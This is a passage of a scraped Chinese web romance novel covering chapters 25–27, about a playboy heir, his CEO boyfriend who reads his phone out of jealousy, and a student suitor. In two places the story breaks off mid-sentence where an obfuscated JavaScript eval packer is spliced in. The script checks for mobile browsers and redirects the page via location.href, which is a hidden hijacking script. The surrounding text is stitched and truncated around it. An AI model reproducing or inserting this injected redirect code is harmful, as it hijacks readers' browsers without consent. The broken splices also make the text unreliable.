何湛程美滋滋地拿起手机逛网店。 白天说过的,要给男朋友写赠语,他得找点漂亮的明信片才行。 浏览了两三百条内容,要么他自己不喜欢,要么一看就不符合戚老二的审美,正犯愁呢,许若林微信弹窗过来: —程哥,你几号回来,我去年和室友一起参加的科技创新大赛获奖了,今天分到我两万块的奖金,我帮你买机票吧 何湛程一扬眉,回: —恭喜,要送也该是我送你礼物,说吧,想要什么? 许若林: —我能说吗?我好想你,我只想要你,你快点回来好不好 何湛程啧一声,刚要跟对方说自己新交男朋友了,但想起裴玉上次表白,人家甚至都不是想做他“男朋友”,而是“情人”。 许若林也跟裴玉一样,根本不会把他最近跟谁好当回事儿,非要那个二楞小子死心,他还得亲自回一趟沪上,戴上许若林那个什么测谎仪手表,当面给人检测一次才行。 不愧是理工男,连谈情说爱都只信奉科学的力量。 正好,何湛程一边回复许若林消息,一边想,他这次回去态度要好点儿,先让老大给他把卡解冻了,该开支票开支票,该送车就送车,把许若林恩情还完,他俩彻底两清,他就可以心安理得地和这二愣子说拜拜了。 回复: —后天吧,不用你去机场接我,你老老实实在学校上课,我先回趟家再去找你 许若林: —好,那我来安排餐厅和电影吧,程哥你想吃什么?想看什么? 何湛程: —我都行,按你喜欢的就好 许若林 —好! 关掉聊天框,网店界面也关了,没好看的,何湛程已经决定明天去逛文具店和礼品店了。 戚时系着浴巾走出来,赤着上身,满身水汽,姿态强势地板起他下巴,湿淋淋地就吻了上来。 “帮我练习一下,看我有进步么?” 何湛程被禁|锢住,笑哼一声,两条手臂缠上对方的脖子,与对方回吻:“二哥净耍流氓。” 他不记得他们今天接过多少次吻了,只是感觉……这位总裁先生越来越黏他。 “崽儿……” “嗯?” “想操|你……” “我也想。” “不给你操……” “我是说,我也想操自己。” “也成……咱俩一起上……” 嘴唇贴着,俩人鼻尖相抵,一上一下对望,一齐笑了起来。 一吻结束,何湛程起身去浴室,戚时拽着他胳膊,不老实的大手在他腹下和后臀摸了几把才放他走。 关门。 戚时不客气地躺在何湛程躺过的位置,埋头拱在人家的枕头里吸发香。 枕边手机突突突震动起来,他以为是电话,随意的当做自己私人物品似的,伸手拿过来看。 屏幕还没灭掉,弹窗一连串消息,备注人是许若林。 戚时眉头锁起,心脏微微下沉,有点不太敢看。 然后毫不犹豫地点了进去。 是分享过来的五六个电影链接,都是近月热映,两部影片还有他们擎荣的艺人在担任主演。 许若林: —这些评分都不错,我有点想看那部战争片,你呢? 哈哈哈哈哈哈! 戚时被这小破孩堪忧的情商逗得心里在狂笑。 谁他妈约喜欢的人见面看战争片啊?!! 不对。 嘴角扬起的嘲笑忽地止住。 手指唰唰唰,一路往上,翻阅对话消息。 不小心刷过头了,看到许若林发来自己的高中毕业帅照,脸上猛地一顿臊热。 火速删除那两条图片消息。 接下来才是今晚的聊天记录。 今晚,九点半。 他与何湛程刚亲热过去的时间。 戚时是易燥体质,常年有个毛病,一激动紧张或者害怕,他手指就开始发冷汗。 左边一条,右边一条,一路往下,手机屏两侧被印上男人清晰的湿漉指纹。 白而发亮的俊脸,两侧咬肌发狠的鼓动,戚时眸底森凉,克制住想发火的冲动,强忍不去把手机掰成两半。 他们才刚上了床,何湛程这个小畜生就要回家约会小情人么? 呵呵。 什么狗屁的互相尊重,他信他个鬼! —把你照片发来 —要日常照,不要带美颜的 许若林: —程哥,明天行吗?我不怎么拍照片,今晚上宿舍灯发昏,采光不太好 语气不容置喙: —现在就要 等了三四分钟,对方发来两张偏暗沉的、毫无摄像技术的自拍。 可是,即便光线再暗沉、角度再刁钻,也抵挡不住男生明媚的笑颜。 像一颗酸涩含羞的柠檬树,初恋般的清爽气扑面而来。 戚时冷笑。 说话那么蠢笨,装傻充愣的,本以为是个书呆子,没曾想是个浓眉大眼的帅弟弟。 鼻梁也高,纯天然原生态,睫毛长长的,一头干练浓黑短发,一双清澈的眼睛像盛满繁星,穿着白T恤黑格子衫,但给人的感觉不像是在实验室钻研物理的,倒像是个常打篮球在赛场上挥洒汗水的。 笑得有点腼腆,显然他不太习惯面对镜头,但为了某个人,他在做自己并不习惯的事。 这一笑,就更引人疼爱了。 俊生啊! 牙齿咬得咯咯响。 —咱俩上过几次床来着? 许若林: —一次 —但做了四次,浴室两次,床上两次,你夸我乖 过了半分钟,又试探着发来: —后天需要我订酒店吗? —滚!!!!!!! 二十分钟后,何湛程笑着推浴室门出来。 嘴角始终扬着,满脑子都是今晚新交了大帅逼男朋友的美事儿,对方还是个成熟靠谱的上市集团CEO,所以预计,他和他的关系至少会稳定个一两年。 本想着也学着刚才戚时的样子,走去床边和对方啵个嘴儿,没料抬眼望去,凌乱的床上空无一人。 “二哥?”他微讶,手上拿毛巾擦着头发,赤着脚踩在地上,满屋四下寻找着那人。 “二哥?” “二哥,我出来了。” 最后被床头柜上放的一张白色纸片吸引。 何湛程疑惑着走过去。 是今晚一个都没用的避孕套盒,被人粗暴地撕开当便利贴。 不知道哪儿拿的圆珠笔,落笔比上次显然有进步的大字: —早点休息,我公司有事,先回了 25. 第25章 “你爱我吗?” “不爱。” “你喜欢我吗?” “不喜欢。” “从未喜欢过吗?” “之前喜欢,现在不喜欢。” “现在一点都不喜欢吗?” “对。” “你现在有喜欢的人吗?” “有。” “你……你爱他吗?” “不知道。” “你脑子里在想什么?” “在想我家远在燕京的大宝贝吃醋好了没有。” 快问快答,无缝衔接高效率交锋对话,半秒不允许迟疑。 二人对座在布置浪漫的高级情侣餐厅包厢,四目紧紧凝视着对方,却仿佛身处刀光剑影。 半分钟,这场荒诞的测试游戏正式宣告结束,何湛程和许若林将戴在腕上的机械手表摘下来,放到铺着香烟盒卡片的简式木盒里,各自消化着自己的情绪。 何湛程毫无波澜,冷静的像具会说话的尸体,许若林没被电到,脸上是掩盖不住的落寞,但这么长时间,他早有心理准备,知晓结果后也不吭声,安静地低头吃着饭,再不跟何湛程强求什么。 何湛程假装没看到对方表情,他拉过桌上那个许若林从实验室角落里刨出来装手表的小破盒,闲闲把玩着这两只被花花绿绿线路和芯片拼装成的半成品。 就像人体脉络,内脏血管完整,外形么…… 没有外形。 表带是一圈丑不拉几的钛合金链,表盘底部是一块约10mm的铜色金属片,繁复的零件堆砌在上面,像一座迷你小工厂,贴在腕上凉丝丝的,足够机械重工,但连表针都没有,一看就是试验产品,根本不像一块正常的手表。 右手端起高脚杯,心不在焉地抿了口红酒。 问对方:“我今天开来载你的那辆奔驰,怎么样?” 许若林立刻从盘子里抬头,捧场道:“很帅!” 何湛程抬眼看他:“问你呢,喜不喜欢。” 许若林瞳孔倏地放大又缩小,他意识到什么:“我?” 何湛程不耐烦了,扬手直接将车钥匙抛过去。 许若林吓得赶紧起身一把接住,有点无措地看向对面人:“程哥,你、你这样显得我很——” “谁说白给你了?”何湛程打断他,冲人晃了下手里的手表:“车送你,这个送我,咱们两清了。” 许若林“啊”了一声,说:“这个是我做着玩儿的东西,不值钱的。” 何湛程晃着红酒杯,满不在意道:“就是说啊,我现在不拿走,你带回去给我再鼓捣鼓捣,搞得正常一点,让这对儿看起来像个真正的情侣手表。” 他们现在没有感情牵扯了,许若林便少了几分畏缩气,他直挺挺地坐回去,大着胆子问:“是要给你在燕京的那个……那个大宝贝戴吗?” 何湛程笑眯眯的:“对呀。” “为什么是大宝贝?他年纪很大吗?我以为你喜欢年纪偏小的。” “不啊,”何湛程翘腿晃荡着脚,冲人吊儿郎当地笑,“我恋爱就喜欢和年纪大的谈,成熟稳重,又帅又多金,还很会疼人。” “哦……”许若林低着头,成功又被浇下一盆冷水。 “吃饭吧。”何湛程放下腿,动刀叉开始用餐,催促对面,“晚上没课吧?待会你送我去机场。” 许若林惊讶:“你这么快就要走啊,我以为你回来就不走了呢。” 何湛程冷哼一声:“我他妈得赶紧回去哄那傻逼大宝贝啊,不然什么时候被人甩了都不知道。” 许若林不想再参与这个“大宝贝”相关话题,弱弱地点了下头,小声说:“幸亏今天上午把电影看了,不然你晚上走,就看不了了。” 何湛程阴沉着脸呵呵笑。 不说这个还好,一说这个他就来气。 许若林本来买的晚上的电影票,就因为被骂了句滚,连忙换时间到青天白日的大上午,早九点开场的战争片,生怕给人以图谋不轨的误解,害得头一天夜里刚抵达沪上的他连场好觉都没睡成,大早上就被迫从被窝爬起来去学校接人去看电影。 戚时那个大傻个儿,就是纯混蛋一个,他何老三自认对这个新男友已经足够偏爱了,没想到这狗日的竟然敢翻他手机聊天记录,还以他的名义找许若林要照片? 这还不是最可恨的。 最可恨的是,戚老二冒名顶替他聊天就算了,消息记录居然删都不删,藏都不藏一下? 【咱俩上过几次床来着?】 看看戚老二问的这叫什么话!! 真是嚣张至极啊,可把他给牛逼坏了。 何湛程那晚看完避孕套留言,心里还挺暖,立刻找手机给男朋友发信息,想提醒大宝贝回家路上开车注意安全,没想到许若林突然发来一条“我错了,你别生气”,他惊讶,刚点进去,看到的就是戚老二这几句差点把他气晕过去的话。 就这,还注意什么安全? 直接来辆货车撞死那狗日的算了。 也不听解释。 何湛程当晚就打电话过去,憋着火气,想先把人哄高兴了,以后再寻摸个机会把人给整一顿,没料戚老二接了电话,就淡淡一句:“我睡了,有事明天说。” 行,吃醋么,没事儿,他理解。 第二天又耐着性子打电话过去,早上,戚老二还肯接,但不等他开口,说一句“我在忙”就挂断了,高冷又欠揍,拽得要死要活,气得他上午就打车跑人公司里了,没曾想戚老二早有预料,故意躲他,一整天都没出现,最后还是茉莉给他报销的车费。 他问茉莉戚老二死哪儿去了?茉莉答非所问,只告诉他,以后要花钱直接联系她,她家戚总不会再管他这些鸡毛琐碎的小事了,以及,她可以帮他买任何东西,但不会帮他订回沪上的机票。 何湛程当时是有点心慌,他闹不清自己到底在怕什么。 区区一个男人而已,又不是非戚老二不可。 在茉莉面前装得若无其事,然后回酒店灌了自己好几瓶酒,才鼓足勇气给人发微信,问: —你是在吃醋,还是跟我分手了? 那人回: —在开会,手机信号不好。 装蒜的狗男人。 没信号,呵,总裁大人是在深山老林里开会么? 不过何湛程松一口气,暂时将对方的行为归结为吃醋了。 但机票还是要订,许若林也要见,钱要给,车要送,答应过的事要做到。 从小到大,他家老爷子疼他跟疼孙子似的,基本没怎么严格要求过他,唯一耳提面命的,就是做人要有恩必报。 人命关天,人家救了他,他如果不报恩就想着和对方撇清关系,以后是要遭报应的。 他大哥那个老狐狸,他回家要钱,他大哥不给,说,半年就是半年,他私自跑回来是违反契约精神,银行那边至少会将他账户冻结五个月,他可以乱来,但他大哥作为集团董事,不能不对银行守信用。 何湛程知道那老狐狸是糊弄他,但他没招儿,就打电话给他妈,他妈没在家,据说是被他大哥送去欧洲度假去了。 他妈也拒绝他,在电话那头苦口婆心地劝着:“乖儿子,妈妈求你了,你懂点事吧,你爸都发话了,一定要趁你年轻赶紧把你身上这些毛病都改过来,你就先听你大哥的吧,你爸现在都七十多了,说不准哪天就闭眼了,往后咱娘俩就指望着你大哥养呢,这么多年了,你到底有什么跟你大哥过不去的?” 她还说? 她还好意思问? 是谁二十年来,只要一逮住机会就提醒他,当年他命悬一线时,他大哥偷偷跑进重症监护室把他氧气罩给拔了的? 是谁从小到大,动不动就在他耳边掉眼泪诉苦,讲她刚嫁进何家那几年,他大哥那个小畜生动不动就甩她脸色,明里暗里把她当仆人欺负的? 是谁背地里倒豆子似的,偷偷将一个又一个秘密讲给他听,说他大哥的生母是菲律宾的一个拥有着不少财产但身子是残花败柳的女人,她给他爸生了好几孩子,除了他大哥,包括那个女人,他们全都在一场枪战里死掉了? 她说他大哥命硬,五六岁的年纪,从尸山血海里爬出来,想发设法地求着他爸带他回国做少爷,这样肮脏不堪的出身,从小就懂阴险的机谋,哪里配和他、还有他二哥这样真正的天之骄子相提并论? 他二哥也是她生的,但二哥根本不理她那套。 他最小了,也最乖,从小就被她捧在手心里疼着、爱着,娘俩二十年来始终站一条线,现在好了,他爸联合他大哥要治他,她又把他何湛程说得里外不是人了。 他就把老爷子送她的那间四季如春遍地开花的温室全给砸了。 还命人往狼藉一片的绚烂花地上泼满了黑色的油漆。 什么是残花败柳? 这才是残花败柳。 他不要种植着她幸福的温室再开花了。 他爸就更不理他了。 老爷子想清净,连住哪个养老院都不让家里人告诉他,就是为了躲他。 老头儿一见他撒娇,就要心疼他受苦受累,哪里会舍得管教他? 何湛程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409034|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一个个家里人气得牙痒痒。 他急着回燕京哄人,没空陪这群人耗,最后忍辱负重放低姿态,站在老大面前,发誓往后余生绝不再对他吐一个脏字,老大才稍微露出点满意神态。 “我就说,燕京那位,绝对能管得住你。” 然后大笔一挥,给他签了一张三千五百万的支票。 这般轻易地就签了。 三千五百万不算个小数目,但这人问也不问,眼皮也不抬一下,就这般轻易地签了。 何湛程低头看着他大哥签在支票上的、那凌厉如刀锋削出的字迹,沉默良久。 然后,抬头问: “我想知道,你为什么要把我和他绑在一起。” 老大自幼谨言慎行,对内对外,稳持自重,根本不是多嘴的人,尤其对他何湛程,这人更是不屑一顾,遑论八卦了。 何湛程也是事后某天才回味过来,当初在酒店和老大那通电话,这人显然是有几分要撮合他和戚老二的意思。 那个人却不正面回应,高大的身躯犹如一把寒气四溢的刀,冷冷地插在办公桌前的深棕皮座椅上。 居高临下俯视的眼神,将他从上到下的打量,而后,薄唇勾着一抹笑:“你说呢?你不觉得你们凑在一起很合适么?” “哪方面的合适?” “哪方面都很合适啊。” “我不懂你什么意思,你这个身份又没必要去屈尊结交他。” “所以,现在是我坐在这个位子上,而不是你。” “……死装男。” “小畜生,你刚发过誓不骂我。” “我错了。” “滚吧。” 就如那人随意签下的支票,将近二十年的恩怨乃至仇恨,他们就这般轻易地和好了。 何湛程从来不对那人表达自己内心深处的敬仰与尊崇,正如那人也从来不夸他偶尔的乖巧可爱。 可他在外游戏人间,会骄傲地对别人说“看,这是我们家老大!”,那人不厌其烦地帮他处理烂摊子时,也对人抱歉地称他为“我那个不懂事的弟弟”。 直到出何氏集团大楼的那一刻,何湛程才猛然意识到,他们之间原来并没有什么深仇大恨。 这一切,只因上一辈说不清道不明的孽缘。 他心情很好,仰望一眼头顶湛蓝色的天空,掏手机给他二哥何棣坤打电话: “老二,活着呢没?我好像突然理解你为啥要跟老大站一条线了。” 他二哥:“废话,不然谁把我从局子里捞出来?咱妈么?你么?” 何湛程:“……” 他混归混,要说脾气上来就搞绑架囚|禁那套,还得是他二哥。 老二这人为爱痴狂得有点过分,睁眼瞎惹到了不该惹的人,他们家族里,但凡头上顶着“何”字的男丁,出门在外面啥都干,但还没一个人进去过局子呢。 他轻笑:“躲哪儿去了?有空我找你玩儿去。” 他二哥:“墨西哥呢,你来,我教你打枪。” 他:“OK。” 夜幕黑沉,一架飞机亮着灯缓缓启航,机场外,身穿黑格子衫的男生站在奔驰车旁,仰头看他心爱的人就这样直线向北飞去。 视线有点模糊,泪水沾湿红眼眶,那是一种酸涩的委屈,剩到最后,只有认命和无奈。 他忍不住低头给人发消息: —程哥,手表我会尽快给你组装好的 —生活上有困难随时找我,我赚三份兼职工钱,虽然帮不上大忙,但起码能解你的燃眉之急 对方冷漠地回: —你个穷鬼,以后好好学习吧 许若林叹了口气,他现在确实穷鬼。 刚到手的两万块奖金花销如下: 一半孝敬给了爸妈,剩下一万,五千块帮心爱的人买了往燕京-沪上的往返头等舱机票,两千块定了高档情侣餐厅,一千多送了人家个小礼物,剩下几百块充了饭卡。 但—— 许若林坐回车准备离开时,才发现何湛程并没有带走他的小礼物。 空荡荡的副驾座椅上,正中央摆放着一个打开了的黑丝绒小盒。 那是一条闪闪发光的紫水晶手串,漂亮纯粹如那个人含笑迷离的眼眸,他希望给他爱的人带来好运气。 他爱的人,却并不爱他,因此并没有赏脸带走这份他给的好运气。 盒子底下还压了一张白条,他从裤兜摸出眼镜,抽出来眯眼看着。 那是一张何氏集团副董事长亲笔签名赠与他许若林的、价值三千五百万的大额支票。 26. 第26章 “啪”的一声! 一纸辞职信被拍到沙发前的欧式茶几上,惊得坐在沙发上正埋头认真读剧本的两个人一齐打了个哆嗦。 是一对儿年龄差略大的情侣,穿着同款家居服,男人高挺的鼻梁上架着戴着一副金丝眼镜,男孩儿嘴里叼着根棒棒糖,抱着本子依偎在他身旁。 二人抬头,望向桌前这位突然造访的恶客。 “你,”恶客气势汹汹地一戳手指,指向沙发上那个横空出世抢走他家的男绿茶,说,“你闪一边儿去,老子要跟我哥谈谈!” 男孩儿切了声,扭头看一眼旁边的男人,说:“那我先去书房了。” 男人点点头,将桌上堆得几个剧本都给人带走,然后稍微整理了下衣服,伸手拿起辞职信扫了一眼。 大概在自家比较随意,男人比上次在办公室要平和的多,嘴里念念叨叨着:“一声不吭就来了,也不知道提前打个电话,不是告诉过你,搬走了没事儿就别回来了吗?” 戚时哼一声,一屁股坐桌头的单人沙发上,一双长腿叠起,踩脚在茶几上,满不在意地抱怨:“咋,你就见色忘义到这种程度,亲弟弟还不能回家来看你了?” 男人一笑,抬眼瞅他:“你是来看我么?” 手里冲人扬了扬那封辞职信,没好气道:“你小子一年至少要跟我撂三次挑子,说吧,这次又是因为什么?” 戚时放下腿,蹭地俯身凑过去,一脸认真道:“哥,我发誓这次我是真的想走,之前想辞职都是因为烦,但这次不一样。” 男人一扬眉,问:“怎么不一样。” 戚时说:“这一次,我要去海外留学深造,然后学成归来,报效祖国!” 男人微讶:“你要念书?” 天知道当初让这小子读个硕士有多难,怎么现在这人突然就转性了? 他自己没能上个好大学,近几年好容易闲暇下来,花功夫读了几个学位,也都是侧重影视编导方向的课程,曾经少年时代感兴趣的文学、最擅长的物化生,都随着流逝的光阴,永远停留在了二十年前,那个数十年如一日煎熬着、苦痛着、纠结流泪着的,十七岁少年的梦里。 他这个弟弟,平时吊儿郎当的,只有到关键时候才肯展现出真正的实力来,所以本科考得还算不错,他当时也有私心,想让弟弟替自己完成未完成的心愿,戚时大学刚毕业,他就送了人一辆大G、一套公寓,半哄半糊弄着人再多念几年,要求这小子哪怕是混,也得给他混到研究生毕业。 好在小子懂事,每次都超额完成任务,也让他这个做哥哥的十分欣慰知足。 但—— 知子莫若父,知弟莫若兄。 他是非常清楚这小子是宁愿喝砒霜也不愿意主动学习的死犟性子的。 于是好奇问:“你读书,你想学什么呢?金融管理?还是继续练你的体育?” 戚时郑重其事地说:“我要学物理。” 戚铭以为自己耳朵聋了,皱眉侧身靠过去问:“……啥?” 戚时同学宣誓一般,双目炯炯有神地看着他哥,嗓音洪亮:“哥,我要学物理!我一定要学物理!我这个年纪,正是学物理的好时候!不管你怎么劝,反正我已经深深地爱上物理了!我不仅要学物理,我还要自己研究机器人,参加科技创新大赛!往后余生,我白天黑夜都要认真地学习物理,我没空做总裁了,真的,因为我决定要把自己的整个生命都奉献给研究物理这一项神圣而有意义的伟大事业上!” 戚铭缓了几秒,然后“哦”一声,推推眼镜,开始考他:“关于一定量的气体,下列叙述正确的是:A.气体吸收的热量可以完全转化为功;B.气体体积增大时,其内能一定减少;C.气体从外界吸收热量,其内能一定增加;D.外界对气体做功,气体内能可能减少,你选?” 戚时脑袋发懵,愣了足足两分钟,然后默默低头抠手指头:“……我、我选C。” 戚铭:“这是高中很简单的题目,应该选A和D,这样,你再简单说一下曲线那节的几个圆周运动公式。” 戚时抬手指轻轻挠了下眉心,朝旁边人瞟过去一只眼,试探问:“是不是带小三角的那种公式啊?” 戚铭慈祥地笑:“不仅有带小三角的,还有带小零蛋和带根号的,你小子即将要投入整个生命去研究的,是哪一种啊?” 戚时:“……” 戚铭将那张辞职信卷成细卷,轻轻插回他手里,口吻不容置喙:“驳回。” 戚时猛地一攥掌心,将纸团大力抛到身后,然后烦躁地双手抱头,一个劲儿地抓着头发,恨恨地嚷:“凭什么!凭什么!凭什么都是一个妈生的,我就这么笨!!凭什么!凭什么啊!” 戚铭吓了一跳。 他不知道这人是受什么刺激了,又好笑又心疼,坐过去拍着他肩:“行了,人各有所长,你还比我高两公分呢,你哥说什么了吗?你小时候跟个小豆丁似的,个子还没我小腿长,我哪里敢想你会长成今天这样的参天大树啊?” “不过……咳,咱学物理这事儿就算了,好不好?你如果真想拿国外院校的学位,我托教育机构的朋友帮你找个靠谱的学校,你每天闲着没事儿了,就在电脑上学一两个小时的网课,行吗?” “不行!”戚时偏跟他犟,态度强硬:“我就要出国!我非要念个好学校!我非要读个牛逼的专业!随便去哪儿都好,我反正不要在这里待着了!手机号微信号也都全换新的,只加你一个,剩下的人,呵,都爱他妈谁谁谁,老子不稀罕!” 戚铭眉心一沉:“你、你……” 疯疯癫癫的,这到底是怎么了? 他本以为这小子长大后就懂事了,尤其这两年,戚时私下明里都成熟稳重不少,所以他才放心把集团交给他,他这个弟弟是能扛大任的主儿,不管干哪行都有模有样的,明明现在一切都朝着良好的方向发展,怎么这人突然就跟退化了一样,一下子又蛮不讲理地胡闹,甚至连叛逆期还不如? 戚时缓缓抬起头,眼眶竟泛着红,轻声恳求他:“哥,你就让我走吧……” 戚铭皱起眉:“你给我一个说得过去的理由。” 戚时抹了把眼,低头闷声道:“没有理由。” 戚铭:“一定有理由。” 戚时:“真的没有。” 戚铭冷哼:“那我不会让你走。” 戚时忍不住瞪他:“你是不是我哥!” 戚铭来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他将脸埋进掌心,来回大力地搓着:“哥,我真的很喜欢物理……我真的很喜欢,我也不知道自己着什么魔了,明明第一次见很讨厌他来着,可第二次,第二次……我就……我就……哥,我不喜欢别人抢我的物理书,但该死的是,好像他们每个人都喜欢学物理……” 戚铭一头雾水。 他不傻,隐约能听出弟弟意有所指,但是猜不透这人究竟在指什么。 只好耐下性子安慰:“好了好了,我知道你很喜欢物理了,学不会你也不用觉得太自卑,你这么帅,这么高,这么事业有成,过着这么富足的生活,你已经胜过很多学物理的人了,知道吗?” “那你也得给我找个大学生。” “行。” “要男的,帅的,大一的,参加过科技创新大赛的。” “帅的?” “丑的看着心烦,本来上班就烦。” “好,我知道了。” “最好皮肤白,会撒娇,微分碎盖,脸小,嗯,要鼻子尖尖的,嘴唇撅起来很好看的那种。” “老二。” “来见我的时候,要穿白衬衫打领带,还有红——” “老二!” 他懵然抬头:“嗯?” “那是燕京大学,是大学,大、学!”那双藏在金丝镜框后的犀利深眸,似有察觉地审视着他,手指敲了两下桌子,提醒道:“不是你花天酒地的会所。” “那行,”戚时无所谓地笑,仰身靠在沙发上,重新翘起二郎腿,挥了挥手,“就先这些条件吧,哥,你去找吧!” 戚铭忽地眯起眼:“你小子……是不是爱上谁了?” 戚时别过脸不屑一笑。 “绝对没有。” 27. 第27章 中午十一点五十分。 燕京大学,物理系,某间自习室。 讲台上堆着一摞打印的讲义,包含遍初、高中的基础内容,年轻老师是去年某省考状元,理综成绩尤为卓著,他并不按照传统授课方式,从初中到高中一本本的讲,而是花三天时间,将这五学年的内容全部串联起来,先为他的笨学生梳理整体树干,再徐徐蔓延进枝杈。 笨学生能看出来,这位十八岁的状元老师是真心热爱物理,一堂课俩小时干货满满,滔滔不绝半口水都不带喝的,无论内容难易,此人都能讲得红光满面,令坐在台下犯困的他深感欣慰。 很好,虽然祖国少了一位叫戚时的物理学家,但祖国还有一位对物理满腔热忱的状元少年! 状元老师穿着某位家长要求的白衬衫,打着黑领带,踩着一双红帆布鞋,两条笔直的长腿在多媒体和黑板来回走动着,又白又帅又清爽,只是授课嗓门洪亮了些,英眉峻挺,威严感满满,不时将目光投向坐在第二排正中央的笨学生,声线笔直地问:“这个能听懂吗?” “嗯嗯。”笨学生心不在焉地点头,一笔一划地做着笔记,公式没写几个,条格本空白处倒是画满了叼着玫瑰坐在他办公桌上的漂亮小人。 尤其是那双眼,笑意迷离,风情无限。 完全是男版美杜莎,谁和他对视上就会被石化。 不,谁被他含情脉脉地注视过一次,就会深深地爱上他。 笨学生指尖灵活地转着万宝龙钢笔,盯着那些妖娆的黑色火柴人,心想,他不应该是物理学家,他应该是一个画家。 一生只画一个人的那种画家。 “今天就讲到这里吧,”状元老师在讲台上发话,“把你的笔记本拿过来,我看看。” 戚时头皮一麻,猛然抬头。 状元老师望着他笑:“怎么?光忙着从事艺术事业,没工夫钻研你热爱的物理了吗?” 戚时脸上一红。 真是的,他这个年纪了,位高权重的,居然还要被一个刚进大学不久的小屁孩教训。 不过呢,他现在的人设是一个大二退学要重考燕大物理系的燕体生,怕人瞧出他真实年纪,今天专门穿得嫩了些。 他体质偏热,四月份的天气,纯白T恤配浅棕棒球服,脖颈间挂了条银色子弹头项链,底下一件宽松舒服的运动裤,挎个大书包,脚踩着某个人送他的全球限量版球鞋,劳力士也没戴,换了个普通的运动智能手表。 今天也没做造型没抹发胶,微分碎盖的倒成他了。 状元老师也和他是一个发型。 嘴唇也薄,笑起来很好看,无论相貌,还是浑身散发着的那股子聪明劲儿,放在人群里都是很出挑的类型。 要么说他老哥无所不能呢,人脉就是广,他那么苛刻的要求,他哥都帮他找到了,还告诉他说:“这个孩子也不喜欢女人”。 他哥还是看出来了,他没吭声。 他哥没怎么跟他讨论这件事,只问了一句“我是不是带坏你了”,他说“嗯,都赖你”。 不赖他哥,赖谁? 赖某个勾引完他又跑去和别人约会上床的风流兔崽子吗? 他是一个有尊严的男人。 他不想再跟那样的花心坏蛋有任何牵扯了。 可整整俩小时,他将这位状元老师欣赏不到十分钟,心里就又开始落寞起来。 大概是饿了。 戚时起身收拾东西,他要去燕大的食堂吃饭。 一小时三百块,才学几个公式,他得让状元老师请他吃顿好的。 这会儿正下课,乌泱泱的学生们都往食堂方向走,状元老师有辆炫酷的山地车,冲刺吃饭用的,但是没后座,因此不得不被迫陪这位开路虎揽胜来的笨学生步行在路上。 俩人并肩而行,话不投机半句多。 今天讲课效果不是很显著,状元老师使出浑身解数也没能令笨学生集中精力听课,因此心有愧疚,路上一个劲儿给笨学生介绍今年在各地将要举办的几场全国大学生物理比赛,含金量和难易程度从高到低,一一帮笨学生列举出来,还建议人去竞赛公众号和微博官网关注下。 笨学生听得脑瓜子嗡嗡的,突然就觉得,他还是回去集团做总裁比较好。 起码他烦了能说一句“行了,今天就到这儿吧”,底下人也没一个敢反驳。 “哦,对了,”状元老师冲他笑,“你上大二的话,咱俩年纪差不多吧?我不叫你学长,你也别叫我老师了,咱们互相称呼名字吧,我叫赵博,你呢?” 赵博? 这名字不好听。 两个字的名字都不好听。 笨学生伸出手,一本正经自我介绍:“我叫何湛程,湛蓝的湛,程序的程。” 赵博点头,也伸手和他握了一下,试探说:“那我叫你湛程吧。” 笨学生抗议道:“不行,得叫全名。” 赵博被他逗得一笑,说:“好,何湛程。” 赵博并不是学究派,为人开朗爱说笑,是运动系阳光帅哥,闲暇时也沉迷打游戏,属于高中时代那种会玩儿又会学的全能型学神。 此人家境也富裕,根本不差钱,肯抽时间做兼职,是因为某位家长拿着笨学生的一张打篮球的帅照找到物理系院长,院长又把这张帅照拿给赵博看,问他愿不愿意,赵博也不傻,他承认自己对这位英俊的学长有那么几分心动,于是认真准备了课件和讲义,仔细打扮一番就来了。 何湛程同学也和这个人相处的蛮舒服,寻思着,旧的不去新的不来,万一他能和这位德智体美劳的小状元发展发展,谁还会在意某个不识相的少爷呢? 午饭赵博请客,带何湛程同学去了全校最贵食堂,买了一份半只的香酥鸡、葱爆羊肉、炒西蓝花和地三鲜,荤素搭配完美,又要了份土豆炖牛腩。 赵博说这道菜里的牛肉很嫩,想让何湛程同学尝尝喜不喜欢。 赵博坐在餐桌对面,轻声问:“你喜欢吗?” 何湛程同学假装听不懂,专注埋头干饭,说:“还行。” 赵博笑:“我还挺喜欢的。” 何湛程同学却莫名有点烦躁。 他完全不知道自己在干什么。 堂堂擎荣集团身价数百亿的大总裁,办公室堆着一堆文件不处理,吃饱了撑得跑来大学里补习物理,还跟一个同性的男大学生谈情说爱,这他妈要让认识的人知道了,他戚老二的一世英名就全毁了! 正扒拉着饭,他猛然想起什么,有些紧张地问:“你们燕大的哲学系……是不是也在这个校区?” 他刚意识到,蒋灵在燕京大学做老师,他从前送她来上过几次班,她还领着他进来转了几圈。 赵博点点头,笑着打趣:“是啊,怎么,你现在又想学哲学了吗?” 他已经看出来了,这位学长英俊归英俊,但整个人完全就是一个迷茫的状态,对任何事都是三分钟热度,和小孩一样天真,学习也好,人生也好,根本没有任何目标。 可这个人态度如此强硬执着,根本不容任何人违拗。 “何湛程,”赵博本着严谨负责的态度说,“你不喜欢物理,对吧?你连最简单的加速度题目都做不出来,你怎么会喜欢物理呢?我现在的建议是,你需要沉静下来,多花点心思找回你自己,而不是要浪费时间和金钱在这些你不感兴趣的事情上,如果你坚持要学,有问题随时找我问,但我们这个课就上到今天了,回头我也会和院长说,这些都是我的问题,你无需和你的家里人交代,你看这样可以吗?” 何湛程同学埋头没吭声。 是因为赵博是学物理的么? 不然为什么这小子说话比他还要成熟稳重? 赵博轻轻拍了下他的手,语气和缓几分:“湛程,我没别的意思,每个人都会经历这种阶段,你不用着急,我们还可以再联系的,当然,如果你不愿意,我们可以做朋友。” 何湛程同学抬头盯他,一字一顿:“叫、我、何、湛、程。” 赵博失笑:“原来你这么保守吗?” 